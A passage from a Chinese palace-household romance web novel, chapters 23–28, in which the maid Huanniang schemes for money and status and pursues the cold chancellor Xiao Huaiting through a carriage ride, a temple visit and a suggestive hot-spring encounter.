今早做的是梅花饼,小米粥,另外两叠小菜,都是新鲜凉拌的,瞧着很有食欲。 送完饭她就退下了,连头都没抬一下。 一旁萧一都惊了。 这丫鬟是怎么回事?现在都跑到爷面前来了? 不合理,这不合常理阿。 他下意识看向自家爷,一晃眼,还以为产生了错觉。 他家爷,居然弯起了嘴角,冰山似的脸眉目舒缓,竟有那么一丝丝的柔情? 捡花瓣。 今日的花瓣,没昨日多,但很新鲜,刚掉落的红梅在她掌心,还渗着寒意。 只是那红梅落在白皙的掌心处,就像是掌心生出了花。 萧怀停走过来时,恰巧就看到欢娘正捧着一朵娇艳欲滴的红梅发呆。 嘴角还带着有些傻气的笑意。 可是那笑意,就在看到他的瞬间,立刻收敛。 她收起手中花,站在他面前,恭敬的行了礼。 “可是奴婢叨扰了相爷?” 欢娘只是想让相爷知道她的存在,默默的做一些事,他满意一分,再多一分。 渐渐的,总会对她改观的。 可谁想到相爷居然直接过来了。 “你这般规矩?何来的叨扰?连讨好献媚都这般小心翼翼,悄然无声,本相该夸你心细。” 萧怀停冷声道。 听上去好像在夸她,可却句句嘲讽。 但欢娘是高兴的,起码做的那些事,相爷都知道,那是为了他。 “多谢相爷夸赞,奴婢会再接再厉。” 她就厚着脸皮,接受他的夸赞。 “呵……” 可似乎是遭受到了相爷的嘲讽。 欢娘一时有些尴尬,但也硬着头皮承受了。 第二十三章心在你这儿,你还不信吗? 他都只是嘲讽,又没有不准她再这么做,那就是好事。 “一边讨好大公子,一边又奉承本相,你野心倒是不小。” 只是欢娘没想到他会这么说。 “您以为奴婢在做什么?” 她突然意识到,相爷是不是误会她了? “难道不是你误导了冯婆,给那位宁姑娘下的毒?提早就留了证据,还特地去药房找柳大夫,特意更换药方,让柳大夫印象深刻,做你的证人。” 接下来相爷一番话,更让她心惊。 “除掉冯婆,便是打击月莹,还借冯婆的手重伤宁姑娘,现下大公子只怕因昨日冤枉了你而心生愧疚,你这手算计,倒是精明。” 他都知道,知道的……清清楚楚。 只是大公子那点愧疚于她而言,不是算计之内的。 “却也狠毒。” 他停顿片刻,吐出冰冷的四个字。 说她狠毒? 欢娘微怔,有些错愕。 可很快便又释然了,相爷不知他们之间的恩怨。 于他眼中,可不就是她为了铲除异己,攀附大公子,才不择手段吗? “若她不害我,也没后面的事,奴婢确实给宁姑娘抓了好药材。” “奴婢不过是自保而已。” 他不知真相,但欢娘也不想平白背了‘狠毒’这口锅。 至少在相爷面前,不能是。 她勇敢的抬头望着他,可哪怕就在面前,她也猜不透相爷的心思,信不信她说的。 那神情寡淡,只让她觉得嘲讽似乎还在。 “让两个女人争斗,你坐收渔利?下一步你打算让谁先出局?” 他似乎颇有兴致,问了她一句。 欢娘沉思了片刻。 相爷手眼通天,洞察人心,骗不到他的。 “公子真心喜爱宁姑娘,有他护着,宁姑娘就算骄横狠毒一些,也无妨的。” 她认真道。 “而且奴婢是相爷的人,只要宁姑娘给奴婢一条活路,奴婢自当是尽心尽力伺候她和公子,绝不敢有其他心思。” 她是看准了宁从夏会赢,但也不是相爷想的那般,她要铲除所有人,自己得公子宠爱。 她的心,在这里。 萧怀停却不以为意,哪怕她看上去已经格外的真诚,甚至连她的眼神都确实有几分爱慕。 “这话,不妨去大公子面前说清楚,本相便信你。” 他依旧冷笑着,嘲讽她。 将她这所谓的‘真心话’当成了哄骗主子的手段,他以为,她在公子面前,也是这般的‘真心’。 欢娘有些失望。 “好,奴婢会证明给您看的。” 她果断应下。 只是,得缓缓。 她认为相爷也不会在意她何时去证明,反正他就是想看戏而已。 那这出戏,安排的晚一些也无妨。 欢娘捡完了梅花瓣,便行李告退。 萧怀停独自一人站在梅花树下,微风轻轻一吹,枝头的梅花便坠落。 他伸手一接,瞧着落在自己掌心那朵花,脑海里却是方才欢娘蹲在他面前的样子。 她可真是耍尽了心机,无处不入。 萧怀停捏碎了掌心的梅花,转身往书房去。 欢娘说的极有道理,于相爷而言,这不过就是日常一出戏而已,又怎会真的放在心上呢? 欢娘回去以后,拿了刚做的香薰就去找丽姑姑。 除了香薰,还另外做了一瓶玫瑰精油。 先前欢娘在她身上嗅到了很淡的玫瑰香味,所以采菊应该会喜欢。 “姑姑下午可是要去找采菊姑娘?这个还劳烦姑姑,送给她。” 丽姑姑秒懂她的意思,赞同的点了点头。 心道,欢娘当真是改头换面,和往日完全不同了,有这等手艺和人情世故,他日就算不得公子喜爱,在这后院,应当也好过。 “听闻昨日那位宁姑娘出了事,你可还好阿?” 她略表关心的问起。 “我什么都没做,公子查清真相以后,我自然是没事的。” 欢娘笑着回应。 关于细节,倒是没多说。 “昨日,珍娘将做好的衣服送去,看着出了事,便就回来了,也不知现在去送,可还合适?” 丽姑姑有些担忧的道。 那边刚闹出事,只怕那宁姑娘的心情也不大好,她怕自己女儿去送衣服,平白受罚。 “宁姑娘没带行李入府,衣服自当是要送去的,不妨交给我,省得珍娘再跑这一趟了。” 欢娘想起昨日采菊姑娘送去的那些珠宝和布匹,动起了心思。 宁从夏现在手里又有钱了。 丽姑姑一听,自然是很高兴,可也担心欢娘,但欢娘劝慰她,只要小心些,倒是没什么事。 随后丽姑姑就带着她去找了珍娘。 “前些日子你不是买了布匹要做小衣吗?让珍娘给你量一量,帮你做两件。” 珍娘就站在她面前,手里拿着量尺,笑容腼腆,露出两个可爱的酒窝。 两人见过几次,以前赵娣会带她一起来找珍娘说话,只是珍娘话少,欢娘也是,两人交集不算多。 在欢娘印象中,珍娘就是个手艺很好,爱笑,但话不多的小姑娘,还要小自己两岁。 她就只负责给主子做衣服。 丽姑姑此举,怕是为了答谢她。 欢娘也没拒绝她的好意,随着珍娘进了内间,脱掉外衫。 天儿冷,衣服一脱,她就忍不住打了个寒颤,然后往珍娘面前一战,她大大方方的抬起了手,昂首挺胸。 珍娘望着她洁白的身子,怔愣了片刻后,脸颊爆红。 “挺……挺好的。” 半响,她望着记录下的尺寸,点了点头。 看的欢娘都哭笑不得。 等她拿着做好的衣服离开后,珍娘才拉着丽姑姑,小声嘀咕着。 “阿娘,我算是明白了,老夫人为何不嫌欢娘年纪大,要让她去做通房。” “大公子的眼光,当真是不如老夫人。” 她也年过十八了,可不是什么都不懂。 欢娘捧着新衣进了倚竹院。 直奔宁从夏榻前。 本来养了这些时日她已经能下床了,可现在,又得继续静养。 “姑娘,这是公子为您做好的新衣,可要穿上试试?” 宁从夏淡淡的扫了一眼。 “不是黄就是粉的,样式还这般繁琐,穿起来不是很麻烦吗?” “你们公子这衣袍,便很合适。” 她似乎有些嫌弃。 第二十四章仇人的银子,坑的越多越好 人就靠在软榻上歇着,看着病怏怏的。 这些日子,她穿的都是大公子以前的衣袍,衣裳宽大,衬托的她人都娇小一圈。 整日待在屋里,不施粉黛,脸色憔悴,一头乌发也只是拢在身后用一根发带束着。 她养病的样子,确实和世家贵女不太一样。 “可这也是公子一片心意,衣服样式也是当下京都最流行的,请的也是咱们相府专给相爷和老夫人做衣裳的绣娘,这衣裳就算拿出去对比各家贵女,是极好……” 欢娘夸的一脸认真。 宁从夏面露不屑,嘴角却微微弯起,暗自得意。 “原来这就是你们大户人家的眼光。” 她冷笑着。 “宁姑娘英姿飒爽,顾盼生辉,自然与其他贵女不同。” 欢娘夸了一番,然后看着衣服半响。 “这衣服,其实真的极美。” 声音却是小了些。 宁从夏看着她那蠢样,心底得意的冷笑一声,原来她也是知道的,这衣裳俗气的很。 “既然好看,那便赏你吧。” 她不以为意的道。 欢娘面露惊愕,摇着头。 “不……不可,欢娘只是奴婢,而且您给了奴婢,那您穿什么?万一老夫人和相爷过来探望,您还是穿着大公子的衣裳,成何体统?” 宁从夏本不以为意,但这话倒是提醒了她。 若是这样见客,尤其是见一人之下的相爷,恐怕不妥。 可那艳俗的衣服,她不要,就连欢娘都知道那衣裳配不上她,她若穿了,岂不就和后宅那些女子,没什么分别了? 要穿,也要穿适合她的。 但这府中顶尖的绣娘,怕也是见识浅薄,做衣裳,也只会做一种款式。 “你去,拿上我那旧衣,去外头铺子里买两身款式差不多的,一白一红……” 府上的不行,那外面的总行了吧?她以前的衣服,也都是在铺子里直接买的。 欢娘又被震惊了。 宁从夏暗自鄙夷,瞧她那没见过世面的样子。 “那……宁姑娘的衣服是不是很贵?” 半刻后,她涨红着脸,小声问道。 宁从夏鄙夷更深。 “梳妆台上,那盒子里,有首饰,尽管拿去。” 相爷送过来的,她没用过,但今早看了两眼,确实都是好东西,价值连城。 欢娘等的就是这句话了。 从宁从夏身上搞银子,那绝对是最明智的决定。 只是那也要做的好看,让宁从夏挑不出毛病。 只是从中拿了一串珍珠串子,各个是圆润饱满,晶莹剔透。 当着宁从夏的面拿起,她低着头,声音有些忐忑。 “那奴婢这就去买衣裳,这些……” 她指着府里绣娘做的。 “送你,随便你处置去。” 此等俗物,也就配欢娘这样的俗气没见过世面的丫鬟。 欢娘道谢后,拿着衣裳出了门。 穿是没可能的,可以变现,这衣服质地是极好的,珍娘的手艺在京都也数一数二。 运气好,一套衣服或许能卖个五两银子。 只是在变现之前,她得先去个地方。 欢娘去而复返,将衣服放在了丽姑姑面前,说明缘由。 她宝贝闺女的手艺被嫌弃的这般彻底,丽姑姑脸色的怒意也藏不住。 甚至气的捶桌子。 “姑姑,这衣裳,奴才是穿不得的,若我放着只怕是白白浪费,所以我想着不如拿去外头卖了换钱,我与珍娘平分?” 见姑姑是记恨上了宁从夏,她赶紧趁机卖乖讨好。 “姑娘给你的,岂有平分的道理,你拿去自己处置了去。” 丽姑姑面色稍有缓和,但一想到宁从夏说的那些话,就怒不可遏。 她一个江湖女子,居然还敢嫌弃她女儿的手艺? “可……” “我瞧着,也心烦,宁可不要,你若实在过意不去,就多买些香料回来做些香膏来卖。” 丽姑姑柔声道,她们母女俩已经用过了,很是喜欢。 这门生意,她很有信心。 欢娘也不再推辞。 转身就带着那两套衣服出门了。 算着时间,她去了黑坊,找到了上次那小贩。 看来她运气不错,小贩果然是找到了那玉佩的另一半,就连主人也寻到了踪迹。 而且,人就在京都。 人叫孙重,清远镖局少镖头。 小贩还告诉她,若是想详查那人的信息,也简单,再给五两银子,他保证将他的底细摸的清清楚楚。 欢娘想都没想,立即又给了一笔查人的定金。 随后才去绸缎庄进行交易。 按照宁从夏的要求,给她买了两套便服,一红一白,皆是用上等的蚕丝棉所制。 一共花了五两银子。 她卖掉了那两身衣服,而且运气极好,恰好遇到与宁从夏身量差不多的贵女来买衣服救急。 她一眼看上,欢娘以十五两卖给店家,店家二十五两立刻卖出,大家都欢喜。 另外就是那串珍珠,一串上等的珍珠串,当了一百二十两银子。 欢娘掂量着,暗暗感慨,那可真是够沉的。 回去时她谨记丽姑姑的忠告,又去买了大批的香料,生意是该提上日程了。 光是在黑市买消息,她积攒了三年的存款都不够,若不是相爷大方赏她那些,她还真是什么都做不了。 所以赚钱,对她来说很重要。 当然,宁从夏这里,她倒是要抓紧每一个能赚到银子的机会。 她恨不得将她搜刮的一分不剩,只是也要找恰当的机会,不能让人抓住把柄。 坑宁从夏的银子,越多越好,她才不在乎这是不是卑劣无耻。 宁从夏对她买回来的衣服很是满意。 欢娘为了彰显自己的贴心,还特地买了两双‘侠女’会穿的鞋子,千层底的黑布鞋,耐穿耐磨。 当票依旧交给宁从夏。 再把银子交出去,买了东西,剩下一百两,她还贴心的给她换成了碎银子。 这趟出行,欢娘从宁从夏这里赚了二十七两白银,那可是她将近一年的月银。 而宁从夏也不是傻的,知道要让底下人安心办事,就得花银子。 所以当晚,她就给在倚竹院伺候的两个丫鬟,一人打赏了二两银子。 一个夏竹,一个冬梅,皆是老夫人那边派来伺候的。 宁从夏用着倒是乖顺恭敬,很满意。 晚上。 萧晋文才回到承德院,就想着去看看小夏。 可刚要出院门时,却看到很不起眼的角落里,烛光微暗。 他记得那处,就是欢娘的住处。 第二十五章同行,公子与相爷一起? 他堂堂相府公子,没理由要跟一个丫鬟去说声抱歉吧?更何况,昨日不是已经查清,还她清白了吗? 萧晋文觉得没那必要,可反应过来时,他已经在敲房门了。 欢娘打开门的瞬间,他愣住。 “大公子?您有什么吩咐?” 她下意识拢了拢身上的粉色棉袄,面露惊讶。 好香的味道。 萧晋文看到欢娘第一眼,一股清香就迎面扑来。 只见她墨发披散开,穿着寝衣,外披的棉袄是他常见的。 似乎她穿来穿去,也就那么件衣裳。 只见她脸颊红扑扑的,粉嫩动人,光是看着,萧晋文就觉得欢娘很香,也很软。 多看两眼,他竟是有些不自在。 “明早我要出府,你准备准备,跟着去。” 来干嘛的?他也说不出个所以然来。 只是看欢娘对他的态度依旧,心里那丝愧疚便又增了一分。 也罢,昨日那事是她受了委屈,他会适当补偿的。 “敢问公子,奴婢需要准备些什么?” “用不着,你跟着去就成。” 带她出门,那也是临时起意,所以当然用不到她准备些什么。 萧晋文看了她一眼,还是觉得没办法直视。 “你休息吧,今晚也不必来伺候。” 所以他就先走了。 欢娘站在门口行了礼,看着他出了院子,又是去探望宁从夏了呢。 想来这次她被毒,公子又心疼坏了。 不过先前那么厌烦她的公子,现在居然会主动过来?她这阵子的努力,也没白费。 翌日,清晨。 欢娘刚起床,珍娘就来了。 “你……” “公子赏你的,这是新作的一批衣裳,原本是主子要在新年时赏赐给丫鬟的,我给你挑了两套,你看看可喜欢?” 珍娘笑着走进屋,将衣裳放在桌上。 小眼睛就忍不住好奇打量她的小屋子。 欢娘望着桌上那新衣,却是震惊的很,公子讨厌她时,拳打脚踢的,看她顺眼了,好处确实也太多了些。 只可惜,年少,又钟爱宁从夏,否则她当真觉得跟着公子,其实也挺好了。 她回过神来,夸赞珍娘。 “你挑的,那自然是极好。” 两套衣裳,一套姜黄色,一套绛紫色,用的棉布,这是仆人常用的布料。 只是粗使丫鬟一贯用粗布棉麻,在府中越是得主子喜欢的,穿的才越好。 像月莹的衣裳,就多是丝绸。 珍娘拿给她这衣裳,倒是中规中矩的,也不出格。 “你这里环境可不太好,湿气重了些,我阿娘那里有足够的炭火,回头你过来拿一些,多烘烤一下这屋子,否则时间长了,容易生病……” 珍娘忍不住道。 刚开始相处她还有些羞涩,但时间久了,她其实话很多,以前欢娘坐在旁边看着赵娣和她聊天,就看出来了。 欢娘没拒绝她的好意,拉着她闲扯了两句,在她要走时,送了她一个刚做好的香包。 有来有往的关系,才是长久的。 一刻钟后,她刚收拾好,公子身边的小厮小童就跑来寻她,让她快些,要出门了。 欢娘连去干什么都不知道,只得将自己收拾妥当,就这样跟着小童跑了出去。 天儿连续晴了几日,有人的地方,冰雪已完全融化,但还是冷。 早上的风吹过来,那是硌脸的。 “上车。” 她刚出府门,便听到公子的声音从车里传来。 太好了,不用一直走路跟车。 欢娘掀开帘子,带着笑容正要感谢公子,却先是一股清冷的梅香传来。 她抬眼望去,正对面相爷正襟危坐,大公子坐在一侧,也是挺直了腰背,很是规矩。 “快些上车,莫勿了时辰。” 欢娘停住,有些凌乱。 可大公子却催促着。 欢娘慌乱的点了点头,连忙上车,坐在了公子对面,也就在相爷的右侧。 还好,她出门时认真打扮了一下,而且还穿上了公子赏赐的新衣,面貌上,应该没什么问题。 马车里有小火炉,烧着水,还没冒热气。 她就算想奉茶,一时也没活。 至于其他的…… 欢娘余光在这狭小的马车里转了一圈。 最后竟是发现,相爷的目光,居然落在了她身上,而且她隐隐有种被抓包的错觉。 吓得立刻低下了头,不敢再乱动心思。 相爷真的好吓人。 “今早出门急,父亲也没用早膳吧?咱们一会儿路过集市时,买些包子。” 觉得相爷吓人的应当不止欢娘一个。 萧晋文和父亲同坐一辆马车,也很不舒服,不好聊天,那吃点东西,总能缓解紧张。 “嗯。” 所以当他看到父亲点头的瞬间,脸上的笑容都轻松了。 “前边停车,我下去买,集市里人多马车不好走,父亲您在这儿等等。” 萧晋文说着就掀开车帘,跑了下去。 活脱的就像只逃跑的狗子。 欢娘嘴巴张开,声音都还没发出,就眼睁睁看着公子从她跟前去了。 她想说,要不让她去吧,她是丫鬟,是跑腿的。 可公子的人影都没了,只剩下车帘轻轻晃动着,隐约能看到黑压压的人。 他一走,车里更是冷清。 欢娘默默的跪坐在火炉边,手朝着那炉子伸过去,想着她也得找点事情做做才行。 火光下她的手指,几近透明。 萧怀停冰冷的眼似有波动。 “果真是出息了?” 听到相爷说话的瞬间,欢娘把手往回收了收。 因为她感受到了,壶里的水,还是没热。 她也听出了相爷的弦外之音,毕竟她自己也觉得自己很出息了。 “公子抬爱,奴婢也很是惶恐。” “所以今日,不妨与萧晋文坦白?” 欢娘本是低着头回话,可听到这句时,愣了一下。 “今日,他带你出门,那明日或许便会留你暖床,或是你想躺在床上,再告诉他,你心悦他的养父?” 他勾起一抹冷笑,眼底满是嘲讽。 欢娘看着他的反应,心底生出了几分怨气。 就活该是她选了他,讨好献媚,没得到半点好脸色,还三番两次的嘲讽。 现在还要看她笑话? 看着他油盐不进的清傲模样,欢娘心一横,往相爷那边一倒,人便靠在了他膝盖上。 华丽的衣裳被压出褶皱。 只见相爷微怔。 欢娘便缓缓直起身体,渐渐逼近那张威严不容侵犯的脸。 第二十六章衣服太紧,解开 其实害怕的心都在颤抖了。 可她怎么能一直被相爷这般嘲讽看轻呢? “与其说,不如让公子看一看,眼见为实,反正……公子也只会认为是奴婢不知廉耻的勾引您……” 她强忍着恐惧,故意做出要撩拨他的样子。 缓慢向上移动,她大胆的坐在他腿上。 许是这车内燃烧着炭火,她没来由的口干舌燥。 只是相爷眼中,却是冰冷的杀气。 这是把他给激怒了? 他该冷声呵斥,让她下去了吧? 理智告诉她,应当赶紧跪下求饶,否则小命不保了。 可是当她坐在他身上的瞬间,却又有个声音,在告诉她,何不再大胆些? 反正她对他的心思,从一开始就表现的那般清楚了,现在不过是有实际行动而已。 她就不信堂堂相爷,能当街将她给扔出去,她就扒着他,直到大公子回来。 看看是有身份地位的相爷着急,还是她这个卑贱丫鬟急? 左右在相爷眼中,她贱命一条,怎么比得上他的脸面呢? 想到这些,欢娘就越发大胆。 他眼神可怕,不看就是。 她缓缓凑近,手指在他心口处漫不经心的移动。 下一步,亲他。 一想到接下来要做的事,她心跳加速,而且身体都有些燥热,感觉脸更是烧了起来。 她抬眸,不敢看脸,只敢盯着那总是刻薄的唇看。 和他人一样,他的唇一看就冷漠,毫无温度。 可就在要行动时,腰间突然多了一只大手。 他扶着她的腰,不等她反应时,冰凉的触感让她本能的颤了一下。 那只冰凉的大手,就那么探进了她衣服里,紧贴着她腰侧。 欢娘惊愕的抬头,立刻撞见了那双带着几分嘲弄和玩味儿的眸里。 手慢慢的往上移,欢娘甚至能感觉到相爷指尖的薄茧刮在她皮肤上。 从侧边渐渐爬向前面,从平坦的小腹移过。 “太紧了,解开。” 明明是在做那么无耻的动作,可语气冰冷,不带一丝情绪。 欢娘惊愕的望着他清冷的眼神,突然意识到,她这是……又要翻船了吗? 他冰冷的眸从她脸往下,漫不经心的打量着。 欢娘那故作妖娆的姿态,瞬间僵硬。 她很快意识到,相爷说的是她衣裳的纽扣了,太紧了,妨碍他动作吗? 那手贴着她皮肤逐渐发热,可是欢娘却从骨子里颤抖。 她想撤,可那双手便揽住了她的腰,强势的固定住,不让她动弹。 好像他真的要她用实际行动,来证明她有引诱他的心思,要让大公子看的清清楚楚。 欢娘有些慌了。 相爷却在这时,坐直身体,往前轻轻的倾斜,鼻尖正好落在她耳侧,她甚至感觉到那冰冷的鼻子从她耳侧蹭过。 一股热意袭来,欢娘想自己的脸,只怕是红透了。 下一刻,相爷便抓起了她的手,目光犹如刀刃般,似乎是要将她凌迟。 白皙的手腕上,待着金闪闪的镯子。 欢娘只见相爷目光落在那镯子上,忽然变得深沉。 “这是……老夫人赏的。” 她下意识的解释。 只见相爷捏着那镯子,细细看了一圈。 随后,目光再次落在了她脸上,那是她捉摸不透的神色。 “怪不得,这般大胆。” 他冷声道。 欢娘有些莫名,难道相爷觉得她是因为有老夫人撑腰,才敢这么来撩拨他吗? 欲开口时,却听脚步声逐渐逼近。 她甚至还听到了大公子说话,似乎是遇到了熟人,笑着打招呼。 “机会来了?你要自己脱,还是我帮你?” 她就要匆忙的退。 但相爷的手,却更加用力的将她往他那边带,她整个人都贴着他。 手捏着她腰间软肉。 欢娘闷哼出声,然后,人傻了。 她怎么……她不可置信的看着相爷,却见他眼底的嘲讽更甚。 而她更是恨不得找个地洞钻进去。 不用看她都知道,这次她的脸一定是爆红,比那烧红的炭火还要艳丽。 她不敢相信这是她,或是相爷用了什么卑劣手段捉弄她?但那又怎么可能呢? “父亲,我买了破酥包,还有小米粥……” 大公子逼近,她感觉人已经在身后了。 可相爷他,还是没放。 “奴婢错了。” 欢娘连忙道,这会儿若是被看到,那可真的就完了。 她急的连忙求情,哪怕相爷眼底满是讥讽,也顾不上。 因为她现在还不能离开承德院。 身后,大公子的手,好似伸了进来,她闻到了食物的香味。 欢娘急的红了眼。 此刻如同被送上刑场,刽子手的刀,眼看着就要落下。 真要人头落地的那瞬间,腰间的手一松,她都顾不得站起来,连忙滚到了一旁。 哐…… 萧晋文掀开帘子时,正好看到她撞在车厢上。 “欢娘?” 他愣住了。 只见她红着眼,疼的落泪。 可他更多的却是莫名。 马车又没走动,她就坐在车内,到底是怎么把自己撞伤的? 他甚至看到她被撞的额角,红了一片。 “公子,奴婢想站起来迎接您,可坐久了,腿麻。” 欢娘含泪解释。 倒不是疼的掉眼泪,而是吓得。 相爷他压根不受威胁,反而是她,自讨苦吃。 “那你也太不争气了,这才坐了多久?” 萧晋文倒是没有怀疑她的解释。 车内就父亲和她,难道还是父亲动手欺负一个小丫鬟不成? 他压根没往那方面想。 只是扫了一眼,却发现父亲的衣裳,有些褶皱。 他就有些纳闷,早上是这样的吗?父亲一贯注重仪态,出门时怎会穿这皱巴巴的衣服? 或是方才父亲也坐不住,起来活动了两圈? 萧晋文想了想,最后觉得自己的想法很合理。 “父亲,您尝尝这粥……” 他也就没当回事。 一心要分享这早饭。 欢娘接过油皮纸袋,将食物摊放在两位主子面前,还有那装好的小米粥,还冒着热气。 “你也一起吃吧,我买的多。” 萧晋文还想起了欢娘,给她也带了一份。 “出门在外的,不必在乎那么多礼仪。” 他又怕她不敢吃,又道。 欢娘点了点头,坐在一旁,乖顺的跟只小兔子似的。 她愁绪满满,不敢表露。 只听大公子和相爷在说话。 “父亲,这粥好像还不如欢娘熬的。” “嗯。” 大公子略有些嫌弃。 相爷他……居然点头了?他也这么觉得? 欢娘手微微一颤,依旧垂着头喝粥,心里却纳闷,看来先前的讨好也不是全无效果。 可为什么,相爷还这么欺负人? 第二十七章求您可怜可怜,好吗? 一路,她都心不在焉的。 相爷这人太难讨好,欢娘突然觉得做了这么多一点用都没有,献媚毫无进展。 那她还能如何? 吃完早饭后,车再次缓缓前行,欢娘看着水烧开,便泡茶。 半个时辰后,下了马车。 还来不及看清楚,便先听到了钟响。 欢娘瞧着四周,只觉得这地方熟悉的很,此刻枯木早已被白雪覆盖,一片荒凉冰冷。 往上看去,便是白雪皑皑的山头。 “雪天路滑,山路难行,咱们得自己爬上去,欢娘,你且跟好。” 萧晋文倒是一马当先,已经跑去探路了。 少年出门在外,更是跳脱一些。 “公子,这是什么地方?” 这荒郊野岭的?莫不成是文人要踏雪题诗?可公子和相爷,都不是那性子的人。 欢娘跟到这里,都还一无所知。 “普渡寺。” 萧晋文说着,便已经踏上了山路,一溜烟的功夫,枯树枝遮掩了他身体。 欢娘惊讶的看了看四周,这才想起,普渡寺,山脚下,可不就是当年相爷救她的地方吗? 只怪她入府三年,从未出门,而且重活一世,当年的事当真是记不清了。 而相爷,也不会记得。 她带着些许期盼,看过去。 相爷已经迈开步子,上了山。 果然,是不记得的,欢娘暗叹口气,便快步跟了上去。 可这山路,比她想象的还要难走。 地面结了一层厚冰,欢娘已经小心翼翼了,可坡度大一点的地方,踩上去还是会打滑。 她身子一倾斜,快要摔倒时,总是会本能的去抓些东西。 待她堪堪站稳时,只觉得相爷离她似乎又近了些。 一低头这才发现她竟是牢牢的抓住了他的胳膊。 玄色锦缎再次有了褶皱。 欢娘心颤,却没收回去。 难的接触的机会,她无耻一些,那就无耻好了。 相爷这般冷淡,她若不无耻,都没机会。 “相爷,路太滑,您帮帮奴婢。” 她柔声道,卑微的恳求着。 都做好了准备,会看到他脸上那抹嘲讽了,可这次他却一句话没说,只是任由她拉着他的胳膊,继续登山。 至于公子?说是带路,却跟猴子一样,早就不知所踪了。 爬了小半个时辰,欢娘有些气喘,一看相爷,竟是脸不红气不喘的。 还是那清傲矜贵的模样。 怎的相爷一个文臣,体力也这般惊人吗? 她看着面前的普渡寺大门,很识趣的松了手。 省得一会儿还抓着不放,又被相爷嘲讽。 “怎的,没用,便是不抓了?” 可哪怕松了手,也没好到哪儿去。 欢娘轻喘着气,柔声道“奴婢倒是想时时刻刻抓着您,做梦都想,可您让抓吗?” 说完她自己都感慨,还真是胆肥了。 果然,相爷听到这话,一甩衣袖,头也不回的走了。 力气之大,褶皱的地方都被甩的平整。 欢娘撇撇嘴,勾起嘴角,小跑着跟了进去。 钟声再度敲响,寺庙里香火弥漫,她小步跟在相爷身后。 跟的也心安理得,公子不知去了何处,她一个丫鬟总要跟着主子才是。 只是不想,寺庙大殿里,正在举行庄重的老僧还俗仪式。 已然头发花白的老者跪在佛像前,僧人环绕着念经。 相爷被请进大殿观礼。 她便在他身后。 可哪成想就这样站了足足一个时辰,直到还俗大礼结束时,她腿是真的麻了。 而且就站在门口,吹的她手脚冰凉。 那位老僧,应当就是相爷的朋友。 还俗仪式结束后,那老僧便请相爷去厢房一叙。 “还跟吗?” 萧怀停迈出大殿后,回头看了她一眼。 “奴婢……去给您泡茶。” 只见她摇了摇头,腿跟定在那里一样,抬不起来。 这是吃够了苦头,总算不跟着他了? 萧怀停轻笑,便离开了。 欢娘定在大殿里,问了小僧后厨的位置后,便一瘸一拐的去了。 禅房内,空修在收拾行礼,东西不多,两件破衣裳,还有几块破石头,半天都没看到一样值钱的东西。 “扔了,下山后我给你准备房屋田地。” 萧怀停坐在那里喝着热茶,语气依旧清冷。 空修回头,乐呵呵的。 “别用那种眼神看我阿,还了俗,我才是真正的自由。” 他将包袱收拾好,才走到萧怀停面前。 “我不可怜,当真是不可怜,不要你准备的东西,我下了山,还有两亩良田,够吃了。” “那良田是桂姨的,你年轻时在寺庙做扫地僧,混吃等死,年迈才还俗,带着一身病与她一块儿过活,要她的田,要她的粮,还要她来伺候?” 萧怀停冷声道。 空修年迈的那张脸明显抽了又抽。 一阵青,一阵白。 “被你这般说来,我是奔着占便宜去的?” 他半响没找出一句反驳的话,黑着脸质问。 萧怀停依旧漫不经心的喝着那热茶,沉默,便是最好的回答。 “来寺庙,你何时带过女眷?跟着你那丫鬟,倒是娇艳的很。” 空修被气的都年轻了几岁,突然眼底划过一抹精光,凑近了来问。 萧怀停脸色更沉了几分。 “可别说跟你没关系阿,我不信。” 空修好似抓到了他的把柄,兴奋起来。 另一边,欢娘已经背着背篓,握着一把小锄头,上了后山。 萧怀停在寺庙里等了很久,直到天黑以后,月朗风清,还是没看到她人回来。 他不耐烦的蹙了蹙眉。 人怎么能做到这样,又蠢又精明的? 欢娘采好茶叶,累的出了一身汗。 看着那冒着白气的温泉,她贪恋那里的温热,而且外面天寒地冻,这里不知道多舒服。 可她不知道,这温泉泡着泡着,会让人手脚发软,头脑发昏。 甚至,好像还出现了幻觉。 她仿若看到有人逐渐逼近。 那人,冷冰冰的一张脸,像是刚从冰窟窿里出来的。 “相爷……” 欢娘无力的伸出手,只觉得轻轻一碰,那幻影怕是会消失。 可指尖触到的,却是他冰冷的体温。 欢娘抬眸望去,那张俊美的脸便在她眼帘下,她甚至感觉自己的眼睫毛刷在了那脸上。 眼底,便清亮了些。 “有这么好的事?相爷找我来了?” 第二十八章就只剩下他俩了 萧怀停是真没想到,天都黑了,她竟在此处泡温泉? 他气急,狠狠的捏住她下巴。 怎么就不被狼狗给吃了呢?省得在这儿眨巴着眼睛,惹人心烦。 “唔……痛。” 眼里闪着氤氲水汽,她红着眼眶轻呼。 湿润的双手抓着他手腕,刚从水里露出的肌肤,白里透红。 萧怀停这才看到她竟是连身体都透着几分红意。 池水没能将她完全掩盖,风光显现,她轻轻的晃动,越发生动。 萧怀停猝不及防的,看了个清楚。 一股热意不知是从何处开始蔓延,很快他便燥热起来。 他眸光晦暗,盯着池子里的女人。 尤其是那手腕间,大金镯子格外晃眼。 在这温泉的刺激下,味道越发浓郁。 只是嗅到一点,便让人莫名燥热。 “相爷,奴婢本来是打算采了茶叶便回去,可奴婢后来迷路了,出不去。” “奴婢发誓,绝对没有故意失踪,害您出来找,而且……您……奴婢也没想过您会出来。” “别气,别生气,好不好?” 欢娘暗道,这温泉怕是有毒,她为何泡了就跟喝醉一样难受,意识都不太清楚,说话也笨。 “冬日哪里能见到这么好的茶叶?奴婢瞧着寺庙里有,你又爱喝,这才来的,奴婢不过是想采些带回去。” “您日日喝,便日日能想到奴婢。” 他的掌心,很凉,她忍不住将脸贴上去,蹭了蹭。 “便那么想我记着你?” 萧晋文瞧着她这献媚贪欢的样子,眼眸深处,颜色也跟更深了些。 手上不由得用力,捏了捏她脸上的软肉。 只见她眼泛泪光,重重的点了点头。 他手上力气加大,再次禁锢着她下巴,瞧着她眉眼含春,娇柔妩媚的模样,他心中的涟漪逐渐变成了劲浪。 一阵一阵的拍打着他的理智。 欢娘觉得自己大概是真醉了,就想缠着他,可当她意识到这样的想法时,便也就那么做了。 因为这可是最难得的机会。 所以在他失神时,她站起身子,搂住他,主动贴了上去。 早上马车里不敢做的事情,她现在敢了。 在这里,也没人会来阻止她,除非相爷他拒绝,可哪怕是被拒绝,她也要缠上去。 温热的唇贴在他颈间,湿透的胳膊白的晃眼,她不着寸缕的身子就那么紧贴上来。 萧怀停眸色一暗,湿润温软的触感,一碰,便是一发不可收拾。 